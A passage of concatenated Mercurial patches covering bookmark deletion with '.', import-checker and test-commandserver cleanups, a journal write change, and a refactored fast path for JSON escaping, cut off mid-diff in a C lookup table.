+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b;
+  o  ea207398892e
+  
+  $ hg fatelogjson --hidden
+  @  0b997eb7ceee
+  |
+  | o  b18bc8331526
+  |/
+  | o  ba2ed02b0c9a
+  | |
+  | x  4a004186e638
+  |/     Obsfate: [{"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["b18bc8331526a22cbb1801022bd1555bf291c48b"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["b18bc8331526a22cbb1801022bd1555bf291c48b"]}, {"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["0b997eb7ceeee06200a02f8aab185979092d514e"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["0b997eb7ceeee06200a02f8aab185979092d514e"]}]
+  o  dd800401bd8c
+  |
+  | x  9bd10a0775e4
+  |/     Obsfate: [{"markers": [["9bd10a0775e478708cada5f176ec6de654359ce7", ["dd800401bd8c79d815329277739e433e883f784e", "4a004186e63889f20cb16434fcbd72220bd1eace", "ba2ed02b0c9a56b9fdbc4e79c7e57866984d8a1f"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["dd800401bd8c79d815329277739e433e883f784e", "4a004186e63889f20cb16434fcbd72220bd1eace", "ba2ed02b0c9a56b9fdbc4e79c7e57866984d8a1f"]}]
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["f897c6137566320b081514b4c7227ecc3d384b39"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["f897c6137566320b081514b4c7227ecc3d384b39"]}, {"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["471f378eab4c5e25f6c77f785b27c936efb22874"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["471f378eab4c5e25f6c77f785b27c936efb22874"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"]}]
+  o  ea207398892e
+  
   $ hg up --hidden 4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg rebase -r 7 -d 8 --config extensions.rebase=
@@ -1245,6 +1592,22 @@
   |
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: rewritten as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc; rewritten as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc;
+  o  f897c6137566
+  |
+  o  ea207398892e
+  
 Test templates with pruned commits
 ==================================
 
@@ -1268,3 +1631,13 @@
   |
   o  ea207398892e
   
+  $ hg fatelog
+  @  471f378eab4c
+  |
+  o  ea207398892e
+  
+  $ hg fatelog -v
+  @  471f378eab4c
+  |
+  o  ea207398892e
+  
# HG changeset patch
# User David Demelier <markand@malikania.fr>
# Date 1503559386 -7200
#      Thu Aug 24 09:23:06 2017 +0200
# Node ID 5cd6d4826f9f7ac92a4f39dfb3549437804fff95
# Parent  e278d6d2d7d2f8ffe024333ea25a5b3fb4e66ecf
bookmarks: allow deleting active bookmark using '.'

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -917,6 +917,9 @@
     diverged, a new 'divergent bookmark' of the form 'name@path' will
     be created. Using :hg:`merge` will resolve the divergence.
 
+    Specifying bookmark as '.' to -m or -d options is equivalent to specifying
+    the active bookmark's name.
+
     A bookmark named '@' has the special property that :hg:`clone` will
     check it out by default if it exists.
 
@@ -962,6 +965,7 @@
     if delete or rename or names or inactive:
         with repo.wlock(), repo.lock(), repo.transaction('bookmark') as tr:
             if delete:
+                names = pycompat.maplist(repo._bookmarks.expandname, names)
                 bookmarks.delete(repo, tr, names)
             elif rename:
                 if not names:
diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -213,6 +213,26 @@
   $ hg up -q Y
   $ hg book -d rename-me
 
+delete bookmark using .
+
+  $ hg book delete-me
+  $ hg book -d .
+  $ hg bookmark
+     X2                        1:925d80f479bb
+     Y                         2:db815d6d32e6
+     Z                         0:f7b1eb17ad24
+  $ hg up -q Y
+
+delete bookmark using . with no active bookmark
+
+  $ hg book delete-me
+  $ hg book -i delete-me
+  $ hg book -d .
+  abort: no active bookmark
+  [255]
+  $ hg up -q Y
+  $ hg book -d delete-me
+
 list bookmarks
 
   $ hg bookmark
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425716 14400
#      Tue Aug 22 14:15:16 2017 -0400
# Node ID a0aeb096bb12f55ead9f358e503460021b1bbde7
# Parent  5cd6d4826f9f7ac92a4f39dfb3549437804fff95
tests: blacklist some more entries in module import checks

diff --git a/tests/test-check-module-imports.t b/tests/test-check-module-imports.t
--- a/tests/test-check-module-imports.t
+++ b/tests/test-check-module-imports.t
@@ -16,7 +16,10 @@
 
   $ testrepohg locate 'set:**.py or grep(r"^#!.*?python")' \
   > 'tests/**.t' \
+  > -X hgweb.cgi \
+  > -X setup.py \
   > -X contrib/debugshell.py \
+  > -X contrib/hgweb.fcgi \
   > -X contrib/python-zstandard/ \
   > -X contrib/win32/hgwebdir_wsgi.py \
   > -X doc/gendoc.py \
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503426306 14400
#      Tue Aug 22 14:25:06 2017 -0400
# Node ID 2d64b2f1787bd6d6f9d1cffe25d20c03b4832a28
# Parent  a0aeb096bb12f55ead9f358e503460021b1bbde7
contrib: allow symbol imports from hgclient for tests

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -21,6 +21,7 @@
 # Whitelist of modules that symbols can be directly imported from.
 allowsymbolimports = (
     '__future__',
+    'hgclient',
     'mercurial',
     'mercurial.hgweb.common',
     'mercurial.hgweb.request',
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503429369 14400
#      Tue Aug 22 15:16:09 2017 -0400
# Node ID d669b1ad215f80833480e664872ae05d9c808cf8
# Parent  2d64b2f1787bd6d6f9d1cffe25d20c03b4832a28
tests: sort excluded test files in test-check-module-imports

diff --git a/tests/test-check-module-imports.t b/tests/test-check-module-imports.t
--- a/tests/test-check-module-imports.t
+++ b/tests/test-check-module-imports.t
@@ -25,18 +25,18 @@
   > -X doc/gendoc.py \
   > -X doc/hgmanpage.py \
   > -X i18n/posplit \
-  > -X tests/test-hgweb-auth.py \
   > -X tests/hypothesishelpers.py \
-  > -X tests/test-lock.py \
-  > -X tests/test-verify-repo-operations.py \
-  > -X tests/test-hook.t \
-  > -X tests/test-import.t \
-  > -X tests/test-imports-checker.t \
   > -X tests/test-commit-interactive.t \
   > -X tests/test-contrib-check-code.t \
   > -X tests/test-extension.t \
   > -X tests/test-hghave.t \
+  > -X tests/test-hgweb-auth.py \
   > -X tests/test-hgweb-no-path-info.t \
   > -X tests/test-hgweb-no-request-uri.t \
   > -X tests/test-hgweb-non-interactive.t \
+  > -X tests/test-hook.t \
+  > -X tests/test-import.t \
+  > -X tests/test-imports-checker.t \
+  > -X tests/test-lock.py \
+  > -X tests/test-verify-repo-operations.py \
   > | sed 's-\\-/-g' | $PYTHON "$import_checker" -
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503429418 14400
#      Tue Aug 22 15:16:58 2017 -0400
# Node ID 9ce139c9222f5b83784295488f168ada661f66db
# Parent  d669b1ad215f80833480e664872ae05d9c808cf8
tests: blacklist test-demandimport from test-check-module-imports

It just does too much weird import stuff to have a hope of passing the
checks.

diff --git a/tests/test-check-module-imports.t b/tests/test-check-module-imports.t
--- a/tests/test-check-module-imports.t
+++ b/tests/test-check-module-imports.t
@@ -28,6 +28,7 @@
   > -X tests/hypothesishelpers.py \
   > -X tests/test-commit-interactive.t \
   > -X tests/test-contrib-check-code.t \
+  > -X tests/test-demandimport.py \
   > -X tests/test-extension.t \
   > -X tests/test-hghave.t \
   > -X tests/test-hgweb-auth.py \
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503431453 14400
#      Tue Aug 22 15:50:53 2017 -0400
# Node ID eddca62d9e64b0e5a3031715d43ae0095479775e
# Parent  9ce139c9222f5b83784295488f168ada661f66db
tests: ensure demandimport test uses absolute_import

diff --git a/tests/test-check-py3-compat.t b/tests/test-check-py3-compat.t
--- a/tests/test-check-py3-compat.t
+++ b/tests/test-check-py3-compat.t
@@ -20,7 +20,6 @@
   contrib/python-zstandard/tests/test_module_attributes.py not using absolute_import
   contrib/python-zstandard/tests/test_train_dictionary.py not using absolute_import
   setup.py not using absolute_import
-  tests/test-demandimport.py not using absolute_import
 
 #if py3exe
   $ testrepohg files 'set:(**.py) - grep(pygments)' \
diff --git a/tests/test-demandimport.py b/tests/test-demandimport.py
--- a/tests/test-demandimport.py
+++ b/tests/test-demandimport.py
@@ -1,4 +1,4 @@
-from __future__ import print_function
+from __future__ import absolute_import, print_function
 
 from mercurial import demandimport
 demandimport.enable()
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503430134 14400
#      Tue Aug 22 15:28:54 2017 -0400
# Node ID 5ed0be4d9df99768d7fff00009fd63b7509f10de
# Parent  eddca62d9e64b0e5a3031715d43ae0095479775e
contrib: add bzrlib to list of packages from which we import symbols

Helps some tests pass the import checker.

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -21,6 +21,7 @@
 # Whitelist of modules that symbols can be directly imported from.
 allowsymbolimports = (
     '__future__',
+    'bzrlib',
     'hgclient',
     'mercurial',
     'mercurial.hgweb.common',
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503434226 14400
#      Tue Aug 22 16:37:06 2017 -0400
# Node ID 8a8dd6e4a97a5f36a0c503e072fbbe809c1e9ec4
# Parent  5ed0be4d9df99768d7fff00009fd63b7509f10de
contrib: make import-checker agree more with run-tests about heredocpy

run-tests.py and import-checker.py take wholly different approaches to
.t-tests, and the result was that they had different notions about
when a Python heredoc had ended, leading to conflicts. This resolves
part of the issue, and the rest I can deal with by tweaking the one
offending test file.

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -693,7 +693,10 @@
             else:
                 script.append(l[4:])
             continue
-        if inlinepython and l == b'  \n':
+        # If we have an empty line or a command for sh, we end the
+        # inline script.
+        if inlinepython and (l == b'  \n'
+                             or l.startswith(b'  $ ')):
             yield b''.join(script), (b"%s[%d]" %
                    (modname, inlinepython)), t, inlinepython
             script = []
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503434276 14400
#      Tue Aug 22 16:37:56 2017 -0400
# Node ID a4c1333b2eda5455139055f86d7805d70063d6e8
# Parent  8a8dd6e4a97a5f36a0c503e072fbbe809c1e9ec4
tests: add blank output lines to test-commandserver

This helps the import checker notice when a Python heredoc has
ended. It's not perfect, but it gets nasty quick and I think the
better fix would be to add a real parser for .t-tests, which will have
to wait.

diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -281,6 +281,7 @@
   ...     f.close()
   ...     runcommand(server, ['commit', '-Amm'])
   ...     runcommand(server, ['bookmarks'])
+  ...     print('')
   *** runcommand bookmarks
   no bookmarks set
   *** runcommand bookmarks
@@ -295,6 +296,7 @@
      bm1                       1:d3a0a68be6de
      bm2                       1:d3a0a68be6de
    * bm3                       2:aef17e88f5f0
+  
 
   >>> import os
   >>> from hgclient import readchannel, runcommand, check
@@ -331,6 +333,7 @@
   ...     runcommand(server, ['commit', '-Am.'])
   ...     runcommand(server, ['rollback'])
   ...     runcommand(server, ['phase', '-r', '.'])
+  ...     print('')
   *** runcommand phase -r . -p
   no phases changed
   *** runcommand commit -Am.
@@ -339,6 +342,7 @@
   working directory now based on revision 3
   *** runcommand phase -r .
   3: public
+  
 
   >>> import os
   >>> from hgclient import readchannel, runcommand, check
@@ -372,10 +376,12 @@
   ...     f.write('ignored-file')
   ...     f.close()
   ...     runcommand(server, ['status', '-i', '-u'])
+  ...     print('')
   *** runcommand commit -Am.
   adding .hgignore
   *** runcommand status -i -u
   I ignored-file
+  
 
 cache of non-public revisions should be invalidated on repository change
 (issue4855):
@@ -396,12 +402,14 @@
   ...         os.system('hg commit -Aqm%d' % i)
   ...     # new commits should be listed as draft revisions
   ...     runcommand(server, ['log', '-qr', 'draft()'])
+  ...     print('')
   *** runcommand log -qr draft()
   4:7966c8e3734d
   *** runcommand log -qr draft()
   4:7966c8e3734d
   5:41f6602d1c4f
   6:10501e202c35
+  
 
   >>> import os
   >>> from hgclient import readchannel, runcommand, check
@@ -414,12 +422,14 @@
   ...     os.system('hg --config extensions.strip= strip -q 5')
   ...     # shouldn't abort by "unknown revision '6'"
   ...     runcommand(server, ['log', '-qr', 'draft()'])
+  ...     print('')
   *** runcommand log -qr draft()
   4:7966c8e3734d
   5:41f6602d1c4f
   6:10501e202c35
   *** runcommand log -qr draft()
   4:7966c8e3734d
+  
 
 cache of phase roots should be invalidated on strip (issue3827):
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503426385 14400
#      Tue Aug 22 14:26:25 2017 -0400
# Node ID 1a6707b43d0514a65b4aaebe101e6485e83dd311
# Parent  a4c1333b2eda5455139055f86d7805d70063d6e8
tests: update test-commandserver to pass our import checker

diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -13,8 +13,10 @@
   $ hg init repo
   $ cd repo
 
-  >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from __future__ import absolute_import, print_function
+  >>> import os
+  >>> import sys
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def hellomessage(server):
   ...     ch, data = readchannel(server)
@@ -32,7 +34,7 @@
   ...     server.stdin.write('unknowncommand\n')
   abort: unknown command unknowncommand
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def checkruncommand(server):
   ...     # hello block
@@ -91,7 +93,7 @@
   abort: unknown revision 'unknown'!
    [255]
 
-  >>> from hgclient import readchannel, check
+  >>> from hgclient import check, readchannel
   >>> @check
   ... def inputeof(server):
   ...     readchannel(server)
@@ -103,7 +105,7 @@
   ...     print('server exit code =', server.wait())
   server exit code = 1
 
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def serverinput(server):
   ...     readchannel(server)
@@ -138,7 +140,7 @@
 check that "histedit --commands=-" can read rules from the input channel:
 
   >>> import cStringIO
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def serverinput(server):
   ...     readchannel(server)
@@ -152,7 +154,7 @@
 
   $ mkdir foo
   $ touch foo/bar
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def cwd(server):
   ...     readchannel(server)
@@ -173,7 +175,7 @@
   > foo = bar
   > EOF
 
-  >>> from hgclient import readchannel, sep, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand, sep
   >>> @check
   ... def localhgrc(server):
   ...     readchannel(server)
@@ -223,7 +225,7 @@
   >     print('now try to read something: %r' % sys.stdin.read())
   > EOF
 
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def hookoutput(server):
   ...     readchannel(server)
@@ -240,7 +242,7 @@
 
   $ echo a >> a
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def outsidechanges(server):
   ...     readchannel(server)
@@ -260,7 +262,7 @@
   *** runcommand status
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def bookmarks(server):
   ...     readchannel(server)
@@ -299,7 +301,7 @@
   
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def tagscache(server):
   ...     readchannel(server)
@@ -312,7 +314,7 @@
   foo
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def setphase(server):
   ...     readchannel(server)
@@ -325,7 +327,7 @@
   3: public
 
   $ echo a >> a
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def rollback(server):
   ...     readchannel(server)
@@ -345,7 +347,7 @@
   
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def branch(server):
   ...     readchannel(server)
@@ -364,7 +366,7 @@
 
   $ touch .hgignore
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def hgignore(server):
   ...     readchannel(server)
@@ -387,7 +389,7 @@
 (issue4855):
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def phasesetscacheaftercommit(server):
   ...     readchannel(server)
@@ -412,7 +414,7 @@
   
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def phasesetscacheafterstrip(server):
   ...     readchannel(server)
@@ -434,7 +436,7 @@
 cache of phase roots should be invalidated on strip (issue3827):
 
   >>> import os
-  >>> from hgclient import readchannel, sep, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand, sep
   >>> @check
   ... def phasecacheafterstrip(server):
   ...     readchannel(server)
@@ -485,7 +487,7 @@
 changelog and manifest would have invalid node:
 
   $ echo a >> a
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def txabort(server):
   ...     readchannel(server)
@@ -511,7 +513,7 @@
   > EOF
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def obsolete(server):
   ...     readchannel(server)
@@ -560,7 +562,7 @@
   > EOF
 
   >>> import os
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def mqoutsidechanges(server):
   ...     readchannel(server)
@@ -585,7 +587,8 @@
   foo
 
   $ cat <<EOF > dbgui.py
-  > import os, sys
+  > import os
+  > import sys
   > from mercurial import commands, registrar
   > cmdtable = {}
   > command = registrar.command(cmdtable)
@@ -609,7 +612,7 @@
   > dbgui = dbgui.py
   > EOF
 
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def getpass(server):
   ...     readchannel(server)
@@ -644,7 +647,7 @@
 run commandserver in commandserver, which is silly but should work:
 
   >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio
   >>> @check
   ... def nested(server):
   ...     print('%c, %r' % readchannel(server))
@@ -667,7 +670,7 @@
   $ cd ..
 
   >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def hellomessage(server):
   ...     ch, data = readchannel(server)
@@ -680,7 +683,7 @@
   abort: there is no Mercurial repository here (.hg not found)
    [255]
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def startwithoutrepo(server):
   ...     readchannel(server)
@@ -708,7 +711,7 @@
 #if unix-socket unix-permissions
 
   >>> from __future__ import print_function
-  >>> from hgclient import unixserver, readchannel, runcommand, check, stringio
+  >>> from hgclient import check, readchannel, runcommand, stringio, unixserver
   >>> server = unixserver('.hg/server.sock', '.hg/server.log')
   >>> def hellomessage(conn):
   ...     ch, data = readchannel(conn)
@@ -760,7 +763,7 @@
   > log = inexistent/path.log
   > EOF
   >>> from __future__ import print_function
-  >>> from hgclient import unixserver, readchannel, check
+  >>> from hgclient import check, readchannel, unixserver
   >>> server = unixserver('.hg/server.sock', '.hg/server.log')
   >>> def earlycrash(conn):
   ...     while True:
@@ -837,7 +840,7 @@
 
 (failure before finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -856,7 +859,7 @@
 
 (failure after finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -881,7 +884,7 @@
 
 (failure before finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -901,7 +904,7 @@
 
 (failure after finalization)
 
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def abort(server):
   ...     readchannel(server)
@@ -951,7 +954,7 @@
 and the merge should fail (issue5628)
 
   $ hg up -q null
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def merge(server):
   ...     readchannel(server)
@@ -972,7 +975,7 @@
 
   $ hg up -qC 0
   $ touch ../merge-symlink-out/poisoned
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def files(server):
   ...     readchannel(server)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503636234 25200
#      Thu Aug 24 21:43:54 2017 -0700
# Node ID e6d4215669062a7e49d736d46aa9fbc6fe2f51b6
# Parent  1a6707b43d0514a65b4aaebe101e6485e83dd311
journal: do not use atomictemp (issue5338)

Writing journal files using `atomictemp` leads to quadratic performance that
could be problematic if automation runs many commands. Other logs like
blackbox does not use atomictemp, and journal logs are not critical for repo
correctness. So let's make them non-atomictemp.

Differential Revision: https://phab.mercurial-scm.org/D517

diff --git a/hgext/journal.py b/hgext/journal.py
--- a/hgext/journal.py
+++ b/hgext/journal.py
@@ -342,7 +342,7 @@
         with self.jlock(vfs):
             version = None
             # open file in amend mode to ensure it is created if missing
-            with vfs('namejournal', mode='a+b', atomictemp=True) as f:
+            with vfs('namejournal', mode='a+b') as f:
                 f.seek(0, os.SEEK_SET)
                 # Read just enough bytes to get a version number (up to 2
                 # digits plus separator)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1492931451 -32400
#      Sun Apr 23 16:10:51 2017 +0900
# Node ID b9101467d88b232011609d63b4ddaa3e594cd489
# Parent  e6d4215669062a7e49d736d46aa9fbc6fe2f51b6
encoding: extract stub for fast JSON escape

This moves JSON character maps to pure/charencode.py because they will be
used only when the fast-path fails.

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-import array
 import io
 import locale
 import os
@@ -19,10 +18,15 @@
     pycompat,
 )
 
+from .pure import (
+    charencode as charencodepure,
+)
+
 charencode = policy.importmod(r'charencode')
 
 asciilower = charencode.asciilower
 asciiupper = charencode.asciiupper
+_jsonescapeu8fast = charencodepure.jsonescapeu8fast  # TODO: no "pure"
 
 _sysstr = pycompat.sysstr
 
@@ -383,22 +387,6 @@
     upper = 1
     other = 0
 
-_jsonmap = []
-_jsonmap.extend("\\u%04x" % x for x in range(32))
-_jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
-_jsonmap.append('\\u007f')
-_jsonmap[0x09] = '\\t'
-_jsonmap[0x0a] = '\\n'
-_jsonmap[0x22] = '\\"'
-_jsonmap[0x5c] = '\\\\'
-_jsonmap[0x08] = '\\b'
-_jsonmap[0x0c] = '\\f'
-_jsonmap[0x0d] = '\\r'
-_paranoidjsonmap = _jsonmap[:]
-_paranoidjsonmap[0x3c] = '\\u003c'  # '<' (e.g. escape "</script>")
-_paranoidjsonmap[0x3e] = '\\u003e'  # '>'
-_jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
-
 def jsonescape(s, paranoid=False):
     '''returns a string suitable for JSON
 
@@ -440,20 +428,12 @@
     '\\\\u003cfoo@example.org\\\\u003e'
     '''
 
-    if paranoid:
-        jm = _paranoidjsonmap
-    else:
-        jm = _jsonmap
-
     u8chars = toutf8b(s)
     try:
-        return ''.join(jm[x] for x in bytearray(u8chars))  # fast path
-    except IndexError:
+        return _jsonescapeu8fast(u8chars, paranoid)
+    except ValueError:
         pass
-    # non-BMP char is represented as UTF-16 surrogate pair
-    u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
-    u16codes.pop(0)  # drop BOM
-    return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
+    return charencodepure.jsonescapeu8fallback(u8chars, paranoid)
 
 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
 
diff --git a/mercurial/pure/charencode.py b/mercurial/pure/charencode.py
--- a/mercurial/pure/charencode.py
+++ b/mercurial/pure/charencode.py
@@ -7,6 +7,12 @@
 
 from __future__ import absolute_import
 
+import array
+
+from .. import (
+    pycompat,
+)
+
 def asciilower(s):
     '''convert a string to lowercase if ASCII
 
@@ -20,3 +26,47 @@
     Raises UnicodeDecodeError if non-ASCII characters are found.'''
     s.decode('ascii')
     return s.upper()
+
+_jsonmap = []
+_jsonmap.extend("\\u%04x" % x for x in range(32))
+_jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
+_jsonmap.append('\\u007f')
+_jsonmap[0x09] = '\\t'
+_jsonmap[0x0a] = '\\n'
+_jsonmap[0x22] = '\\"'
+_jsonmap[0x5c] = '\\\\'
+_jsonmap[0x08] = '\\b'
+_jsonmap[0x0c] = '\\f'
+_jsonmap[0x0d] = '\\r'
+_paranoidjsonmap = _jsonmap[:]
+_paranoidjsonmap[0x3c] = '\\u003c'  # '<' (e.g. escape "</script>")
+_paranoidjsonmap[0x3e] = '\\u003e'  # '>'
+_jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
+
+def jsonescapeu8fast(u8chars, paranoid):
+    """Convert a UTF-8 byte string to JSON-escaped form (fast path)
+
+    Raises ValueError if non-ASCII characters have to be escaped.
+    """
+    if paranoid:
+        jm = _paranoidjsonmap
+    else:
+        jm = _jsonmap
+    try:
+        return ''.join(jm[x] for x in bytearray(u8chars))
+    except IndexError:
+        raise ValueError
+
+def jsonescapeu8fallback(u8chars, paranoid):
+    """Convert a UTF-8 byte string to JSON-escaped form (slow path)
+
+    Escapes all non-ASCII characters no matter if paranoid is False.
+    """
+    if paranoid:
+        jm = _paranoidjsonmap
+    else:
+        jm = _jsonmap
+    # non-BMP char is represented as UTF-16 surrogate pair
+    u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
+    u16codes.pop(0)  # drop BOM
+    return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1492926472 -32400
#      Sun Apr 23 14:47:52 2017 +0900
# Node ID 2c37f9dabc326370004ae9b66604e6c5ef6d6389
# Parent  b9101467d88b232011609d63b4ddaa3e594cd489
encoding: add fast path of jsonescape() (issue5533)

This isn't highly optimized as it copies characters one by one, but seems
reasonably simple and not slow.

  (with mercurial repo)
  $ export HGRCPATH=/dev/null HGPLAIN=
  $ hg log --time --config experimental.stabilization=all -Tjson > /dev/null

  (original)
  time: real 6.830 secs (user 6.740+0.000 sys 0.080+0.000)
  time: real 6.690 secs (user 6.650+0.000 sys 0.040+0.000)
  time: real 6.700 secs (user 6.640+0.000 sys 0.060+0.000)

  (this patch)
  time: real 5.630 secs (user 5.550+0.000 sys 0.070+0.000)
  time: real 5.700 secs (user 5.650+0.000 sys 0.050+0.000)
  time: real 5.690 secs (user 5.640+0.000 sys 0.050+0.000)

diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -9,6 +9,7 @@
 
 #define PY_SSIZE_T_CLEAN
 #include <Python.h>
+#include <assert.h>
 
 #include "charencode.h"
 #include "util.h"
@@ -63,6 +64,42 @@
 				'\x7b', '\x7c', '\x7d', '\x7e', '\x7f'
 };
 
+/* 1: no escape, 2: \<c>, 6: \u<x> */
+static const uint8_t jsonlentable[256] = {
+	6, 6, 6, 6, 6, 6, 6, 6, 2, 2, 2, 6, 2, 2, 6, 6, /* b, t, n, f, r */
+	6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
+	1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* " */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, /* \\ */
